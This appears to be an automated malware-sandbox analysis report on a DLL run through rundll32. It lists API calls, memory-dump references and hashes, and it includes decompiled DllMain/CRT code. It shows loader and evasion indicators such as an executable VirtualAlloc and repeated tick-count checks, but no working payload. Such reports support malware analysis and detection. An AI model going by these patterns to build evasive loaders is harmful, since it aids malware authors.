WriteConsoleW.KERNEL32(?,?,00000001,?,00000000,?,?,?), ref: 6EBF2653
GetLastError.KERNEL32(?,?,?), ref: 6EBF265D
GetLastError.KERNEL32(?,?,?), ref: 6EBF26C5

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: ConsoleErrorLastWrite
String ID:
API String ID: 4006445483-0
Opcode ID: 97ebdc1233c88d10885c64ea5ab4ea8e870d6d0a1c6e8a9aff5cebb097e354d9
Instruction ID: dd939616bbddc776940a899f01ea3dc76f39648b2ac9eb6826d7a1815f7451c2
Opcode Fuzzy Hash: 97ebdc1233c88d10885c64ea5ab4ea8e870d6d0a1c6e8a9aff5cebb097e354d9
Instruction Fuzzy Hash: F6617631A087D5DBE7148ED9CC6076A7FA2EBC5305F048839E895873C4F675C90B8692

Uniqueness

Uniqueness Score: -1.00%

Function 6EBFF49F, Relevance: 6.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 6EBFF566
___AdjustPointer.LIBCMT ref: 6EBFF589
___AdjustPointer.LIBCMT ref: 6EBFF625

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 4535665e059d3b34a2e502aafe80bdd1f5474ad874640641f37aec0356a1165f
Instruction ID: 4b8ad57df16ebaec8974f170575bfe89cc349b8ccb230c6234a8b87d0d8ddf67
Opcode Fuzzy Hash: 4535665e059d3b34a2e502aafe80bdd1f5474ad874640641f37aec0356a1165f
Instruction Fuzzy Hash: 2551B172605686EFEB158FD4D850BAE7BA4FF44315F30492DE915872A0EB31E84ACB90

Uniqueness

Uniqueness Score: -1.00%

Function 6EC02D87, Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 6EC04073: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,6EC061E2,?,00000000,-00000008), ref: 6EC0411F

GetLastError.KERNEL32 ref: 6EC02DEB
__dosmaperr.LIBCMT ref: 6EC02DF2
GetLastError.KERNEL32(?,?,?,?), ref: 6EC02E2C
__dosmaperr.LIBCMT ref: 6EC02E33

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 4ce9423bb8f0c07d576f9199eb901d30a2dd5422ef66e1101fb80cce0be82fbd
Instruction ID: 7cb846961c3eb9e92945785c994d9f821052693487142c0be4df2abcc79f1b6d
Opcode Fuzzy Hash: 4ce9423bb8f0c07d576f9199eb901d30a2dd5422ef66e1101fb80cce0be82fbd
Instruction Fuzzy Hash: 4921D471644205AF9B559FEAC890C9BBBBDFF413697008929FC2897215F733ED408B90

Uniqueness

Uniqueness Score: -1.00%

Function 6EC07EA6, Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,6EC07857,?,00000001,?,?,?,6EC06B46,?,?,00000000), ref: 6EC07EBD
GetLastError.KERNEL32(?,6EC07857,?,00000001,?,?,?,6EC06B46,?,?,00000000,?,?,?,6EC070CD,?), ref: 6EC07EC9

Part of subcall function 6EC07E8F: CloseHandle.KERNEL32(FFFFFFFE,6EC07ED9,?,6EC07857,?,00000001,?,?,?,6EC06B46,?,?,00000000,?,?), ref: 6EC07E9F

___initconout.LIBCMT ref: 6EC07ED9

Part of subcall function 6EC07E51: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6EC07E80,6EC07844,?,?,6EC06B46,?,?,00000000,?), ref: 6EC07E64

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,6EC07857,?,00000001,?,?,?,6EC06B46,?,?,00000000,?), ref: 6EC07EEE

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 19cd1431d5cd4c0966f55c752f860a21e225b907bb5fd8591cbbaa41d379ea67
Instruction ID: c257082928ab054aaf1ba4d5c7f4a21c78f1a6164d5a446cd8fb2d820bb2f247
Opcode Fuzzy Hash: 19cd1431d5cd4c0966f55c752f860a21e225b907bb5fd8591cbbaa41d379ea67
Instruction Fuzzy Hash: 45F01C36005628BFCF622FD1CD04A8E3F3AEB4A3A4B014414FA29855A0D7338D60EB90

Uniqueness

Uniqueness Score: -1.00%

Function 6EBFFAA0, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 6EBFFAC5

Strings

RCC, xrefs: 6EBFFADF
MOC, xrefs: 6EBFFAD7

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: a36dc98158a60e1f467ce1c1c2f3a61764fbc2e7742354d2e2f97abd0d140f80
Instruction ID: 69a492832036a258f49467603159e2eae46fce641b1b8e1fab96f17ee01dfef0
Opcode Fuzzy Hash: a36dc98158a60e1f467ce1c1c2f3a61764fbc2e7742354d2e2f97abd0d140f80
Instruction Fuzzy Hash: 48416732900249EFCF02CFD4C990AEE7BB9FF48304F248499EA1567262D3359956DB50

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 6816 Parent PID: 5816 rundll32.exeCOMMON

Executed Functions

Function 6EBFC050, Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 394filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(asd,00000000,00000000,00000000,00000000,00000000,00000000), ref: 6EBFC225
GetLastError.KERNEL32 ref: 6EBFC22B
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 6EBFC247

Strings

asd, xrefs: 6EBFC21C

Memory Dump Source

Source File: 00000004.00000002.665239855.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000004.00000002.664938459.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.669359074.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.673746548.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.674115007.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.674416389.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocCreateErrorFileLastVirtual
String ID: asd
API String ID: 1112224254-4170839921
Opcode ID: 0475bc15c182fcccd1fca27b08a63dceaeb357112100ae23da284301e20506f1
Instruction ID: 26c0891a45bccd24bc581fda02065c51871e43f89cb89f75101af1ca0665b4e8
Opcode Fuzzy Hash: 0475bc15c182fcccd1fca27b08a63dceaeb357112100ae23da284301e20506f1
Instruction Fuzzy Hash: F2E18971A08346CFCB50CF98C880B6ABBE1FF84704F15456DE9558B346D731E99ACB89

Uniqueness

Uniqueness Score: -1.00%

Function 6EBFC8DB, Relevance: 10.6, APIs: 7, Instructions: 136
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E6EBFC8DB(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				intOrPtr _t34;
				signed int _t40;
				signed int _t41;
				signed int _t42;
				signed int _t45;
				signed char _t54;
				signed int _t56;
				signed int _t58;
				void* _t61;
				void* _t68;
				signed int _t72;
				signed int _t76;
				signed int _t80;
				void* _t82;
				void* _t89;

				_t89 = __fp0;
				_t68 = __edx;
				_push(0x10);
				_push(0x6ec3af80);
				E6EBFD350(__ebx, __edi, __esi);
				_t34 =  *0x6ec3e174; // 0x0
				if(_t34 > 0) {
					 *0x6ec3e174 = _t34 - 1;
					 *(_t82 - 0x1c) = 1;
					 *(_t82 - 4) =  *(_t82 - 4) & 0x00000000;
					 *((char*)(_t82 - 0x20)) = E6EBFCF32();
					 *(_t82 - 4) = 1;
					__eflags =  *0x6ec3e4b8 - 2;
					if( *0x6ec3e4b8 != 2) {
						E6EBFD1CC(_t68, 1, __esi, 7);
						asm("int3");
						_push(0xc);
						_push(0x6ec3afa8);
						E6EBFD350(__ebx, 1, __esi);
						_t72 =  *(_t82 + 0xc);
						__eflags = _t72;
						if(_t72 != 0) {
							L9:
							 *(_t82 - 4) =  *(_t82 - 4) & 0x00000000;
							__eflags = _t72 - 1;
							if(_t72 == 1) {
								L12:
								_t58 =  *(_t82 + 0x10);
								_t76 = E6EBFCA96( *((intOrPtr*)(_t82 + 8)), _t72, _t58);
								 *(_t82 - 0x1c) = _t76;
								__eflags = _t76;
								if(_t76 != 0) {
									_t41 = E6EBFC781(_t61,  *((intOrPtr*)(_t82 + 8)), _t72, _t58); // executed
									_t76 = _t41;
									 *(_t82 - 0x1c) = _t76;
									__eflags = _t76;
									if(_t76 != 0) {
										goto L14;
									}
								}
							} else {
								__eflags = _t72 - 2;
								if(_t72 == 2) {
									goto L12;
								} else {
									_t58 =  *(_t82 + 0x10);
									L14:
									_push(_t58);
									_t42 = E6EBE1290(_t58, _t72, _t76, _t89,  *((intOrPtr*)(_t82 + 8)), _t72); // executed
									_t76 = _t42;
									 *(_t82 - 0x1c) = _t76;
									__eflags = _t72 - 1;
									if(_t72 == 1) {
										__eflags = _t76;
										if(_t76 == 0) {
											_push(_t58);
											_t45 = E6EBE1290(_t58, _t72, _t76, _t89,  *((intOrPtr*)(_t82 + 8)), _t42);
											__eflags = _t58;
											_t25 = _t58 != 0;
											__eflags = _t25;
											_push((_t45 & 0xffffff00 | _t25) & 0x000000ff);
											E6EBFC8DB(_t58, _t68, _t72, _t76, _t25, _t89);
											_pop(_t61);
											E6EBFCA96( *((intOrPtr*)(_t82 + 8)), _t76, _t58);
										}
									}
									__eflags = _t72;
									if(_t72 == 0) {
										L19:
										_t76 = E6EBFC781(_t61,  *((intOrPtr*)(_t82 + 8)), _t72, _t58);
										 *(_t82 - 0x1c) = _t76;
										__eflags = _t76;
										if(_t76 != 0) {
											_t76 = E6EBFCA96( *((intOrPtr*)(_t82 + 8)), _t72, _t58);
											 *(_t82 - 0x1c) = _t76;
										}
									} else {
										__eflags = _t72 - 3;
										if(_t72 == 3) {
											goto L19;
										}
									}
								}
							}
							 *(_t82 - 4) = 0xfffffffe;
							_t40 = _t76;
						} else {
							__eflags =  *0x6ec3e174 - _t72; // 0x0
							if(__eflags > 0) {
								goto L9;
							} else {
								_t40 = 0;
							}
						}
						 *[fs:0x0] =  *((intOrPtr*)(_t82 - 0x10));
						return _t40;
					} else {
						E6EBFCFFD(__ebx, _t61, 1, __esi);
						E6EBFCEB9();
						E6EBFD31B();
						 *0x6ec3e4b8 =  *0x6ec3e4b8 & 0x00000000;
						 *(_t82 - 4) =  *(_t82 - 4) & 0x00000000;
						E6EBFC970();
						_t54 = E6EBFD19E(_t61,  *((intOrPtr*)(_t82 + 8)), 0);
						asm("sbb esi, esi");
						_t80 =  ~(_t54 & 0x000000ff) & 1;
						__eflags = _t80;
						 *(_t82 - 0x1c) = _t80;
						 *(_t82 - 4) = 0xfffffffe;
						E6EBFC97D();
						_t56 = _t80;
						goto L4;
					}
				} else {
					_t56 = 0;
					L4:
					 *[fs:0x0] =  *((intOrPtr*)(_t82 - 0x10));
					return _t56;
				}
			}

0x6ebfc8db
0x6ebfc8db
0x6ebfc8db
0x6ebfc8dd
0x6ebfc8e2
0x6ebfc8e7
0x6ebfc8ee
0x6ebfc8f5
0x6ebfc8fd
0x6ebfc900
0x6ebfc909
0x6ebfc90c
0x6ebfc90f
0x6ebfc916
0x6ebfc985
0x6ebfc98a
0x6ebfc98b
0x6ebfc98d
0x6ebfc992
0x6ebfc997
0x6ebfc99a
0x6ebfc99c
0x6ebfc9ad
0x6ebfc9ad
0x6ebfc9b1
0x6ebfc9b4
0x6ebfc9c0
0x6ebfc9c0
0x6ebfc9cd
0x6ebfc9cf
0x6ebfc9d2
0x6ebfc9d4
0x6ebfc9df
0x6ebfc9e4
0x6ebfc9e6
0x6ebfc9e9
0x6ebfc9eb
0x00000000
0x00000000
0x6ebfc9eb
0x6ebfc9b6
0x6ebfc9b6
0x6ebfc9b9
0x00000000
0x6ebfc9bb
0x6ebfc9bb
0x6ebfc9f1
0x6ebfc9f1
0x6ebfc9f6
0x6ebfc9fb
0x6ebfc9fd
0x6ebfca00
0x6ebfca03
0x6ebfca05
0x6ebfca07
0x6ebfca09
0x6ebfca0e
0x6ebfca13
0x6ebfca15
0x6ebfca15
0x6ebfca1b
0x6ebfca1c
0x6ebfca21
0x6ebfca27
0x6ebfca27
0x6ebfca07
0x6ebfca2c
0x6ebfca2e
0x6ebfca35
0x6ebfca3f
0x6ebfca41
0x6ebfca44
0x6ebfca46
0x6ebfca52
0x6ebfca7a
0x6ebfca7a
0x6ebfca30
0x6ebfca30
0x6ebfca33
0x00000000
0x00000000
0x6ebfca33
0x6ebfca2e
0x6ebfc9b9
0x6ebfca7d
0x6ebfca84
0x6ebfc99e
0x6ebfc99e
0x6ebfc9a4
0x00000000
0x6ebfc9a6
0x6ebfc9a6
0x6ebfc9a6
0x6ebfc9a4
0x6ebfca89
0x6ebfca95
0x6ebfc918
0x6ebfc918
0x6ebfc91d
0x6ebfc922
0x6ebfc927
0x6ebfc92e
0x6ebfc932
0x6ebfc93c
0x6ebfc948
0x6ebfc94a
0x6ebfc94a
0x6ebfc94c
0x6ebfc94f
0x6ebfc956
0x6ebfc95b
0x00000000
0x6ebfc95b
0x6ebfc8f0
0x6ebfc8f0
0x6ebfc95d
0x6ebfc960
0x6ebfc96c
0x6ebfc96c

APIs

__RTC_Initialize.LIBCMT ref: 6EBFC922
___scrt_uninitialize_crt.LIBCMT ref: 6EBFC93C

Memory Dump Source

Source File: 00000004.00000002.665239855.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000004.00000002.664938459.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.669359074.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.673746548.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.674115007.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.674416389.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: c6c9311d11876aa80f0047c8e887bb44702a2ac2d2ebdb56e5eb5fd08b245355
Instruction ID: ac9e0d81c5706e216c7ad4b191315f7c69e38b23d0553907395806dcf818aafa
Opcode Fuzzy Hash: c6c9311d11876aa80f0047c8e887bb44702a2ac2d2ebdb56e5eb5fd08b245355
Instruction Fuzzy Hash: 0F419D72D14695EFDB51CFE98900BAE7EB8EF85B54F104919E8146A280C7305D8A8FA8

Uniqueness

Uniqueness Score: -1.00%

Function 6EBFC98B, Relevance: 7.6, APIs: 5, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E6EBFC98B(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				signed int _t24;
				signed int _t25;
				signed int _t26;
				signed int _t29;
				signed int _t35;
				void* _t37;
				void* _t40;
				signed int _t42;
				signed int _t45;
				void* _t47;
				void* _t52;
				void* _t53;

				_t53 = __fp0;
				_t40 = __edx;
				_push(0xc);
				_push(0x6ec3afa8);
				E6EBFD350(__ebx, __edi, __esi);
				_t42 =  *(_t47 + 0xc);
				if(_t42 != 0) {
					L3:
					 *(_t47 - 4) =  *(_t47 - 4) & 0x00000000;
					__eflags = _t42 - 1;
					if(_t42 == 1) {
						L6:
						_t35 =  *(_t47 + 0x10);
						_t45 = E6EBFCA96( *((intOrPtr*)(_t47 + 8)), _t42, _t35);
						 *(_t47 - 0x1c) = _t45;
						__eflags = _t45;
						if(_t45 == 0) {
							L16:
							 *(_t47 - 4) = 0xfffffffe;
							_t24 = _t45;
							L17:
							 *[fs:0x0] =  *((intOrPtr*)(_t47 - 0x10));
							return _t24;
						}
						_t25 = E6EBFC781(_t37,  *((intOrPtr*)(_t47 + 8)), _t42, _t35); // executed
						_t45 = _t25;
						 *(_t47 - 0x1c) = _t45;
						__eflags = _t45;
						if(_t45 == 0) {
							goto L16;
						}
						L8:
						_push(_t35);
						_t26 = E6EBE1290(_t35, _t42, _t45, _t53,  *((intOrPtr*)(_t47 + 8)), _t42); // executed
						_t45 = _t26;
						 *(_t47 - 0x1c) = _t45;
						__eflags = _t42 - 1;
						if(_t42 == 1) {
							__eflags = _t45;
							if(_t45 == 0) {
								_push(_t35);
								_t29 = E6EBE1290(_t35, _t42, _t45, _t53,  *((intOrPtr*)(_t47 + 8)), _t26);
								__eflags = _t35;
								_t14 = _t35 != 0;
								__eflags = _t14;
								_push((_t29 & 0xffffff00 | _t14) & 0x000000ff);
								E6EBFC8DB(_t35, _t40, _t42, _t45, _t14, _t53);
								_pop(_t37);
								E6EBFCA96( *((intOrPtr*)(_t47 + 8)), _t45, _t35);
							}
						}
						__eflags = _t42;
						if(_t42 == 0) {
							L13:
							_t45 = E6EBFC781(_t37,  *((intOrPtr*)(_t47 + 8)), _t42, _t35);
							 *(_t47 - 0x1c) = _t45;
							__eflags = _t45;
							if(_t45 != 0) {
								_t45 = E6EBFCA96( *((intOrPtr*)(_t47 + 8)), _t42, _t35);
								 *(_t47 - 0x1c) = _t45;
							}
							goto L16;
						} else {
							__eflags = _t42 - 3;
							if(_t42 != 3) {
								goto L16;
							}
							goto L13;
						}
					}
					__eflags = _t42 - 2;
					if(_t42 == 2) {
						goto L6;
					}
					_t35 =  *(_t47 + 0x10);
					goto L8;
				}
				_t52 =  *0x6ec3e174 - _t42; // 0x0
				if(_t52 > 0) {
					goto L3;
				}
				_t24 = 0;
				goto L17;
			}

0x6ebfc98b
0x6ebfc98b
0x6ebfc98b
0x6ebfc98d
0x6ebfc992
0x6ebfc997
0x6ebfc99c
0x6ebfc9ad
0x6ebfc9ad
0x6ebfc9b1
0x6ebfc9b4
0x6ebfc9c0
0x6ebfc9c0
0x6ebfc9cd
0x6ebfc9cf
0x6ebfc9d2
0x6ebfc9d4
0x6ebfca7d
0x6ebfca7d
0x6ebfca84
0x6ebfca86
0x6ebfca89
0x6ebfca95
0x6ebfca95
0x6ebfc9df
0x6ebfc9e4
0x6ebfc9e6
0x6ebfc9e9
0x6ebfc9eb
0x00000000
0x00000000
0x6ebfc9f1
0x6ebfc9f1
0x6ebfc9f6
0x6ebfc9fb
0x6ebfc9fd
0x6ebfca00
0x6ebfca03
0x6ebfca05
0x6ebfca07
0x6ebfca09
0x6ebfca0e
0x6ebfca13
0x6ebfca15
0x6ebfca15
0x6ebfca1b
0x6ebfca1c
0x6ebfca21
0x6ebfca27
0x6ebfca27
0x6ebfca07
0x6ebfca2c
0x6ebfca2e
0x6ebfca35
0x6ebfca3f
0x6ebfca41
0x6ebfca44
0x6ebfca46
0x6ebfca52
0x6ebfca7a
0x6ebfca7a
0x00000000
0x6ebfca30
0x6ebfca30
0x6ebfca33
0x00000000
0x00000000
0x00000000
0x6ebfca33
0x6ebfca2e
0x6ebfc9b6
0x6ebfc9b9
0x00000000
0x00000000
0x6ebfc9bb
0x00000000
0x6ebfc9bb
0x6ebfc99e
0x6ebfc9a4
0x00000000
0x00000000
0x6ebfc9a6
0x00000000

APIs

dllmain_raw.LIBCMT ref: 6EBFC9C8
dllmain_crt_dispatch.LIBCMT ref: 6EBFC9DF
dllmain_raw.LIBCMT ref: 6EBFCA27
dllmain_crt_dispatch.LIBCMT ref: 6EBFCA3A
dllmain_raw.LIBCMT ref: 6EBFCA4D

Memory Dump Source

Source File: 00000004.00000002.665239855.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000004.00000002.664938459.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.669359074.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.673746548.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.674115007.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.674416389.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: 30cbe5899949e6f86c1fa881cf1d0e1898d232c9891feedb86943af364434321
Instruction ID: f69ba86875e78c7c6b227c6bbcc1b5ed8f2ff1511e1f62a511d4b4286b066772
Opcode Fuzzy Hash: 30cbe5899949e6f86c1fa881cf1d0e1898d232c9891feedb86943af364434321
Instruction Fuzzy Hash: B021A072D1029AEFDB52CEA5C840AAF3E69EF81B94F114515F8145E254C3319D878FE8

Uniqueness

Uniqueness Score: -1.00%

Function 6EBEC2A0, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(api-ms-win-core-synch-l1-2-0), ref: 6EBEC2A5
GetProcAddress.KERNEL32(00000000,WakeByAddressSingle), ref: 6EBEC2B5

Strings

api-ms-win-core-synch-l1-2-0, xrefs: 6EBEC2A0
WakeByAddressSingle, xrefs: 6EBEC2AF

Memory Dump Source

Source File: 00000004.00000002.665239855.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000004.00000002.664938459.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.669359074.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.673746548.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.674115007.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.674416389.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: WakeByAddressSingle$api-ms-win-core-synch-l1-2-0
API String ID: 1646373207-1731903895
Opcode ID: cddf33d4908d80047057bd09c49c7bf99e3890e4ef72d8fcab167c919f496c7e
Instruction ID: c615d0e5a1cc7715a3aec10f4c52c92b8406f51cac759b235e2769ba366530b7
Opcode Fuzzy Hash: cddf33d4908d80047057bd09c49c7bf99e3890e4ef72d8fcab167c919f496c7e
Instruction Fuzzy Hash: C5B092B1A00599679E906AF14A0DA862EA8A9C2B86312044CA523E9200FA2689009E21

Uniqueness

Uniqueness Score: -1.00%

Function 6EBEC320, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(api-ms-win-core-synch-l1-2-0), ref: 6EBEC325
GetProcAddress.KERNEL32(00000000,WaitOnAddress), ref: 6EBEC335

Strings

api-ms-win-core-synch-l1-2-0, xrefs: 6EBEC320
WaitOnAddress, xrefs: 6EBEC32F

Memory Dump Source

Source File: 00000004.00000002.665239855.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000004.00000002.664938459.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.669359074.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.673746548.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.674115007.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.674416389.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: WaitOnAddress$api-ms-win-core-synch-l1-2-0
API String ID: 1646373207-1891578837
Opcode ID: f2cc603882f959ad74b1fcc72e9a3edbd809831ac7088e2696c897b4b7abffbd
Instruction ID: 0c99788f441d4723fb5eff46bd5fde276d8ad7000ce28b33f9fa2ee6fecbcf9d
Opcode Fuzzy Hash: f2cc603882f959ad74b1fcc72e9a3edbd809831ac7088e2696c897b4b7abffbd
Instruction Fuzzy Hash: C1B092B1A00955669E50AAF14B0EA862D68A992B863120458A037DA201FA2681009E21

Uniqueness

Uniqueness Score: -1.00%

Function 6EC04161, Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 6EC04169

Part of subcall function 6EC04073: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,6EC061E2,?,00000000,-00000008), ref: 6EC0411F

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6EC041A1
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6EC041C1

Memory Dump Source

Source File: 00000004.00000002.665239855.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000004.00000002.664938459.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.669359074.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.673746548.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.674115007.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.674416389.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: cbfbbdb087755f84c9290e711a4d068fedd2ce44bae072ec90d937d64e6024f9
Instruction ID: c34ec26be03a9a3ee1e2d60cde25dcbdf9ec31344d303548d02f51bc5dd8f6a9
Opcode Fuzzy Hash: cbfbbdb087755f84c9290e711a4d068fedd2ce44bae072ec90d937d64e6024f9
Instruction Fuzzy Hash: 7B11C4F1905A26BE670117F69D89CAF696CFEA66983010815F901D2104FF73DE0381B1

Uniqueness

Uniqueness Score: -1.00%

Function 6EBE1290, Relevance: 3.9, APIs: 3, Instructions: 137memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6EBFBE60: GetTickCount64.KERNEL32 ref: 6EBFBE96
Part of subcall function 6EBFBE60: GetTickCount64.KERNEL32 ref: 6EBFBEB4
Part of subcall function 6EBFBE60: GetTickCount64.KERNEL32 ref: 6EBFBECD
Part of subcall function 6EBFBE60: GetTickCount64.KERNEL32 ref: 6EBFBECF
Part of subcall function 6EBFBE60: GetTickCount64.KERNEL32 ref: 6EBFBED6
Part of subcall function 6EBFBE60: GetTickCount64.KERNEL32 ref: 6EBFBEF4

GetProcessHeap.KERNEL32 ref: 6EBE1333
HeapAlloc.KERNEL32(02FF0000,00000000,00023800), ref: 6EBE134D
HeapFree.KERNEL32(00000000), ref: 6EBE1437

Memory Dump Source

Source File: 00000004.00000002.665239855.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000004.00000002.664938459.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.669359074.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.673746548.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.674115007.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.674416389.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: Count64Tick$Heap$AllocFreeProcess
String ID:
API String ID: 2047189075-0
Opcode ID: 6d58ff672383f983ad674ac4d7b2761bf86f16b92378b9413d6a93126bdc7091
